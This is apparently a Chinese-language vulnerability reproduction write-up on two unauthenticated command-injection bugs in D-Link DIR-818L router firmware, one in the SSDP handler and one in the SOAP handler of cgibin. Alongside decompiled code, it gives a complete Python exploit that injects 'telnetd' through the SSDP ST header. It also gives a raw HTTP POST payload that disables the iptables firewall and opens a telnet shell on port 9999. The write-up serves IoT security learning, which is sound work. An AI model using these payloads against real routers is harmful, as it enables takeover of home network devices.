固件信息:
版本型号:d-link DIR818L_FW105b01 A1
下载链接:https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DIR-818LW
环境搭建:
firmAE 一把梭(我爱firmAE)
#漏洞信息
upnp
UPnP 是通用即插即用(Universal Plug and Play)服务的缩写,它是发现网络上各种设备提供的服务并于之交互的一种标准,现在越来越多的智能服务设备和家用网络的发展,为了使不同的智能设备之间进行网络互联互通,因此UPnP目前是家庭网络设备必须支持的特性之一,并且使用UPnP协议并不需要设备驱动程序,任何设备一旦连接上网络,所有在网络上的设备马上就能知道新加入的设备信息,以及新设备支持的服务和行为,这些设备之间能互相通信,也能直接使用和控制支持UPnP协议的设备,不需要人工设置。
UPnP 使用各种不同的协议来实现其功能:
SSDP: 简单服务发现协议,用于发现本地网络上的UPnP设备和在网络上单播他们可用的UPnP服务。
SCPD: 服务控制点定义,用于定义UPnP设备提供的服务需要的Action。
SOAP: 简单对象访问协议,用于实际的调用操作。
GENA: 通用事件通知架构,用于定义控制点向UPnP设备发送订阅消息和接受信息。
我在复现漏洞的时候常常会带入一点挖掘者的思路,所以我先抓包查看web处理数据会流向哪里
可以看到程序的逻辑是由cgi处理的,所以我们去翻找cgibin文件
漏洞信息1
漏洞是在cgibin文件中的ssdpcgi_main发生的
代码逻辑如下:
可以看到v2是我们可以控制的关键函数lxmldbc_system
程序并未过滤就直接拼接到system中
当参数http_st获取到恶意操作就可以进行shell
完整exp如下:
import sys
import os
import socket
from time import sleep
def config_payload(ip, port):
header = "M-SEARCH * HTTP/1.1\n"
header += "HOST:"+str(ip)+":"+str(port)+"\n"
header += "ST:urn:device:1;telnetd\n"
header += "MX:2\n"
header += 'MAN:"ssdp:discover"'+"\n\n"
return header
def send_conexion(ip, port, payload):
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP,socket.IP_MULTICAST_TTL,2)
sock.sendto(payload,(ip, port))
sock.close()
if __name__== "__main__":
ip = raw_input("Router IP: ")
port = 1900
headers = config_payload(ip, port)
send_conexion(ip, port, headers)
sleep(5)
os.system('telnet ' + str(ip))
成功shell
漏洞信息2
依旧是这个cgibin,而这次是soapcgi_main这个函数
代码逻辑如下
int soapcgi_main()
{
int v0; // $s0
int v1; // $s4
char *v2; // $s3
char *v3; // $s1
char *v4; // $s0
char *v5; // $s2
int v6; // $a0
const char *v7; // $a1
const char *v8; // $a2
char *v9; // $v0
char *v10; // $s1
char *v11; // $v0
const char *v12; // $s0
char *v13; // $v0
const char *v14; // $s1
__pid_t v15; // $v0
char *v16; // $v0
const char *v17; // $s3
__pid_t v18; // $v0
const char *v19; // $s7
__pid_t v20; // $v0
FILE *v21; // $s3
__pid_t v22; // $v0
__pid_t v23; // $v0
v0 = 0;
v1 = sub_40E6B4();
if ( v1 >= 0 )
{
v2 = getenv("CONTENT_TYPE");
v3 = getenv("REQUEST_URI"); // cgi形式传参
v4 = getenv("HTTP_SOAPACTION");
v5 = getenv("REQUEST_METHOD");
if ( v2 && !strncasecmp(v2, "text/xml", 8u) )
{
if ( !v3 )
goto LABEL_21;
if ( !v4 )
goto LABEL_21;
v9 = strchr(v3, '?'); // 匹配?后面的数据,赋值给v9
v10 = v9;
if ( !v9 || strncmp(v9, "?service=", 9u) )// 判断v9是否存在和v9前几个字符是否符合
goto LABEL_21;
v11 = &v4[strlen(v4) - 1];
if ( *v11 == 34 )
*v11 = 0;
v12 = &v4[*v4 == 0x22];
v13 = strchr(v12, 35);
dword_439100 = (int)v13;
if ( !v13 )
{
LABEL_21:
v0 = -1;
goto LABEL_22;
}
*v13 = 0;
dword_439100 = (int)(v13 + 1);
if ( !strcasecmp(v5, "POST") )
{
v14 = v10 + 9; // 将数据赋值给v14
v15 = getpid();
sprintf(byte_437CC0, "%s/pid%d", "/runtime/services/upnp", v15);
cgibin_parse_request(sub_40E584, 0, 0x10000);
v16 = getenv("SERVER_ID");
v17 = (const char *)dword_439100;
v19 = v16;
v18 = getpid();
sprintf(
byte_438D00,
"%s/ACTION.%s.php\nACTION_NODEBASE=%s\nINF_UID=%s\nSERVICE_TYPE=%s\nACTION_NAME=%s\nSHELL_FILE=%s/%s_%d.sh",
"/htdocs/upnp",
v14, // 参数拼接到byte_438d00里面
byte_437CC0,
v19,
v12,
v17,
"/var/run",
v14,
v18);
if ( !xmldbc_ephp_wb(0, 0, byte_438D00, byte_437D00, 4096) )
{
if ( !cgibin_fill_http_content_len(byte_437D00, 4096) )
printf("%s", byte_437D00);
v20 = getpid();
sprintf(byte_438D00, "%s/%s_%d.sh", "/var/run", v14, v20);
v21 = fopen(byte_438D00, "a+");
if ( v21 )
{
v22 = getpid();
fprintf(v21, "rm -f %s/%s_%d.sh", "/var/run", v14, v22);
fclose(v21);
v23 = getpid();
sprintf(byte_438D00, "sh %s/%s_%d.sh > /dev/console &", "/var/run", v14, v23);
system(byte_438D00); // 同理byte_438d00数组获取v14的数据,然后system执行
}
}
v0 = 0;
xmldbc_del(0, 0, byte_437CC0);
goto LABEL_22;
}
v7 = "";
v8 = "unsupported HTTP request";
v6 = 400;
因为截图总是达不到我想要的效果所以,我就截图下来了
代码逻辑可以根据上面进行一个简单的代码分析
这个漏洞主要注意的是需要通过post在url上进行命令注入
poc如下
#nc 192.168.0.1 49152
POST /soap.cgi?service=whatever-control;iptables -P INPUT ACCEPT;iptables -P FORWARD ACCEPT;iptables -P OUTPUT ACCEPT;iptables -t nat -P PREROUTING ACCEPT;iptables -t nat -P OUTPUT ACCEPT;iptables -t nat -P POSTROUTING ACCEPT;telnetd -p 9999;whatever-invalid-shell HTTP/1.1
Host: 192.168.100.1:49152
Accept-Encoding: identity
Content-Length: 16
SOAPAction: "whatever-serviceType#whatever-action"
Content-Type: text/xml
可以看到端口9999已经呗开放
然后我们再nc去连接
成功shell
通过再cve的过滤和查询,发现这俩个漏洞在多个型号的iot设备中都有发生,可能这就是嵌入式设备在以前的一些通病,不过去分析这些漏洞,跟着挖掘者的思路去寻找,能帮我们更快的学习iot安全